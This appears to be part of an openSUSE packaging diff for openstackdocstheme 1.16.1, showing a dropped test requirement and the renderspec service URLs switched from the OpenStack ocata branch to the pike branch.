openstackdocstheme-1.16.1.orig/test-requirements.txt +++ openstackdocstheme-1.16.1/test-requirements.txt @@ -6,5 +6,3 @@ hacking!=0.13.0,<0.14,>=0.12.0 # Apache- # this is required for the docs build jobs sphinx>=1.6.2 # BSD - -reno!=2.3.1,>=1.8.0 # Apache-2.0 ++++++ _service ++++++ --- /var/tmp/diff_new_pack.F6C6ND/_old 2017-08-28 15:32:25.608021462 +0200 +++ /var/tmp/diff_new_pack.F6C6ND/_new 2017-08-28 15:32:25.620019775 +0200 @@ -1,8 +1,8 @@ <services> <service mode="disabled" name="renderspec"> - <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/open…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-openstackdocstheme.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/glob…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> <param name="changelog-email">cloud-devel(a)suse.de</param> <param name="changelog-provider">gh,openstack,openstackdocstheme</param> </service> ++++++ openstackdocstheme-1.6.1.tar.gz -> openstackdocstheme-1.16.1.tar.gz ++++++ ++++ 28736 lines of diff (skipped)

1 0